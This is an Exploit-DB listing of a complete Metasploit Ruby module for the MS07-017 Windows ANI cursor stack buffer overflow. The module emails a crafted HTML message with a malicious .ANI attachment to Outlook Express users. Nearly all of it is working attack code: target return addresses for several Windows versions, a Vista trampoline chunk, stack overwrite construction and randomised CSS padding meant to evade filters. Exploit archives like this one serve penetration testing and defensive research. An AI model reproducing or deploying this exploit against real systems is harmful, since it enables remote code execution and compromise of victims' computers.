标题: Microsoft Windows - ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP) (MS07-017) (Metasploit) EDB-ID: 16698 CVE: 2007-1765 2007-0038 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ms07_017_ani_loadimage_chunksize.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 #
 # This module sends email messages via smtp
 #
 include Msf::Exploit::Remote::SMTPDeliver

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',
   'Description'    => %q{
    This module exploits a buffer overflow vulnerability in the
    LoadAniIcon() function of USER32.dll. The flaw is triggered
    through Outlook Express by using the CURSOR style sheet
    directive to load a malicious .ANI file.

    This vulnerability was discovered by Alexander Sotirov of Determina
    and was rediscovered, in the wild, by McAfee.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hdm',   # First version
     'skape', # Vista support
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['MSB', 'MS07-017'],
     ['CVE', '2007-0038'],
     ['CVE', '2007-1765'],
     ['OSVDB', '33629'],
     ['BID', '23194'],
     ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
     ['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],
     ['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
    ],
   'Stance'         => Msf::Exploit::Stance::Passive,
   'DefaultOptions' =>
    {
     # Cause internet explorer to exit after the code hits
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'       => 1024 + (rand(1000)),
     'MinNops'     => 32,
     'Compat'      =>
      {
       'ConnectionType' => '-bind -find',
      },

     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [

     #
     # Use multiple cursor URLs to try all targets. This can result in
     # multiple, sequential sessions
     #

     [ 'Automatic', {} ],

     #
     # The following targets use call [ebx+4], just like the original exploit
     #

     # Partial overwrite doesn't work for Outlook Express
     [ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],

     # Should work for all English XP SP2
     [ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],

     # Supplied by Fabrice MOURRON <fab[at]revhosts.net>
     [ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],

     # Should work for English XP SP0/SP1
     [ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],

     # Should work for English 2000 SP0-SP4+
     [ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],

     #
     # Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start
     # of the RIFF chunk itself.  The length field of the RIFF chunk
     # tag contains a short jump into an embedded riff chunk that
     # makes a long relative jump into the actual payload.
     #
     [ 'Windows Vista user32.dll 6.0.6000.16386',
      {
       'Ret'         => 0x700b,
       'Len'         => 2,

       # On Vista, the pages that contain the RIFF are read-only.
       # In-place decoders cannot be used.
       'Payload'     => { 'EncoderType' => Msf::Encoder::Type::Raw }
      }
     ],

     #
     # Supplied by ramon[at]risesecurity.org
     #

     # call [ebx+4]
     [ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],
     [ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],
     [ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],

     # call [esi+4]
     [ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],
     [ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]
    ],
   'DisclosureDate' => 'Mar 28 2007',
   'DefaultTarget' => 0))

 end

 def autofilter
  false
 end

 def exploit

  exts = ['bmp', 'wav', 'png', 'zip', 'tar']

  gext =  exts[rand(exts.length)]
  name = rand_text_alpha(rand(10)+1) + ".#{gext}"

  anis = {}

  html =
   "<html><head><title>" +
    rand_text_alphanumeric(rand(128)+4) +
   "</title>" +
   "</head><body>" + rand_text_alphanumeric(rand(128)+1)


  mytargs = (target.name =~ /Automatic/) ? targets : [target]

  if target.name =~ /Automatic/
   targets.each_index { |i|
    next if not targets[i].ret
    acid = generate_cid
    html << generate_div("cid:#{acid}")

    # Re-generate the payload, using the explicit target
    return if ((p = regenerate_payload(nil, nil, targets[i])) == nil)

    # Generate an ANI file for this target
    anis[acid] = generate_ani(p, targets[i])
   }
  else
   acid = generate_cid
   html << generate_div("cid:#{acid}")

   # Re-generate the payload, using the explicit target
   return if ((p = regenerate_payload(nil, nil, target)) == nil)

   # Generate an ANI file for this target
   anis[acid] = generate_ani(p, target)
  end

  html << "</body></html>"


  msg = Rex::MIME::Message.new
  msg.mime_defaults
  msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  msg.to = datastore['MAILTO']
  msg.from = datastore['MAILFROM']

  msg.add_part(Rex::Text.encode_base64(html, "\r\n"), "text/html", "base64", "inline")
  anis.each_pair do |cid,ani|
   part = msg.add_part_attachment(ani, cid + "." + gext)
   part.header.set("Content-ID", "<"+cid+">")
  end

  send_message(msg.to_s)

  print_status("Waiting for a payload session (backgrounding)...")
 end

 def generate_cid
  rand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)
 end

 def generate_div(url)
  "<div style='" +
   generate_css_padding() +
   Rex::Text.to_rand_case("cursor") +
   generate_css_padding() +
   ":" +
   generate_css_padding() +
   Rex::Text.to_rand_case("url(") +
   generate_css_padding() +
   "\"#{url}\"" +
   generate_css_padding() +
   ");" +
   generate_css_padding() +
   "'>" +
   generate_padding() +
  "</div>"
 end

 def generate_ani(payload, target)

  # Build the first ANI header
  anih_a = [
   36,            # DWORD cbSizeof
   rand(128)+16,  # DWORD cFrames
   rand(1024)+1,  # DWORD cSteps
   0,             # DWORD cx,cy  (reserved - 0)
   0,             # DWORD cBitCount, cPlanes (reserved - 0)
   0, 0, 0,       # JIF jifRate
   1              # DWORD flags
  ].pack('V9')

  anih_b = nil

  if (target.name =~ /Vista/)
   # Vista has ebp=80, eip=84
   anih_b = rand_text(84)

   # Patch local variables and loop counters
   anih_b[68, 12] = [0].pack("V") * 3
  else
   # XP/2K has ebp=76 and eip=80
   anih_b = rand_text(80)

   # Patch local variables and loop counters
   anih_b[64, 12] = [0].pack("V") * 3
  end

  # Overwrite the return with address of a "call ptr [ebx+4]"
  anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]

  # Begin the ANI chunk
  riff = "ACON"

  # Calculate the data offset for the trampoline chunk and add
  # the trampoline chunk if we're attacking Vista
  if target.name =~ /Vista/
   trampoline_doffset = riff.length + 8

   riff << generate_trampoline_riff_chunk
  end

  # Insert random RIFF chunks
  0.upto(rand(128)+16) do |i|
   riff << generate_riff_chunk()
  end

  # Embed the first ANI header
  riff << "anih" + [anih_a.length].pack('V') + anih_a

  # Insert random RIFF chunks
  0.upto(rand(128)+16) do |i|
   riff << generate_riff_chunk()
  end

  # Trigger the return address overwrite
  riff << "anih" + [anih_b.length].pack('V') + anih_b

  # If this is a Vista target, then we need to align the length of the
  # RIFF chunk so that the low order two bytes are equal to a jmp $+0x16
  if target.name =~ /Vista/
   plen  = (riff.length & 0xffff0000) | 0x0eeb
   plen += 0x10000 if (plen - 8) < riff.length

   riff << generate_riff_chunk((plen - 8) - riff.length)

   # Replace the operand to the relative jump to point into the actual
   # payload itself which comes after the riff chunk
   riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')
  end

  # Place the RIFF chunk in front and off we go
  ret = "RIFF" + [riff.length].pack('V') + riff

  # We copy the encoded payload to the stack because sometimes the RIFF
  # image is mapped in read-only pages.  This would prevent in-place
  # decoders from working, and we can't have that.
  ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)

  # Place the real payload right after it.
  ret << payload.encoded

  ret

 end

 # Generates a riff chunk with the first bytes of the data being a relative
 # jump.  This is used to bounce to the actual payload
 def generate_trampoline_riff_chunk
  tag = Rex::Text.to_rand_case(rand_text_alpha(4))
  dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
  tag + [dat.length].pack('V') + dat
 end

 def generate_riff_chunk(len = (rand(256)+1) * 2)
  tag = Rex::Text.to_rand_case(rand_text_alpha(4))
  dat = rand_text(len)
  tag + [dat.length].pack('V') + dat
 end

 def generate_css_padding
  buf =
   generate_whitespace() +
   "/*" +
   generate_whitespace() +
   generate_padding() +
   generate_whitespace() +
   "*/" +
   generate_whitespace()
 end

 def generate_whitespace
  len = rand(100)+2
  set = "\x09\x20\x0d\x0a"
  buf = ''

  while (buf.length < len)
   buf << set[rand(set.length)].chr
  end
  buf
 end

 def generate_padding
  rand_text_alphanumeric(rand(128)+4)
 end

end URL: https://www.exploit-db.com/exploits/16698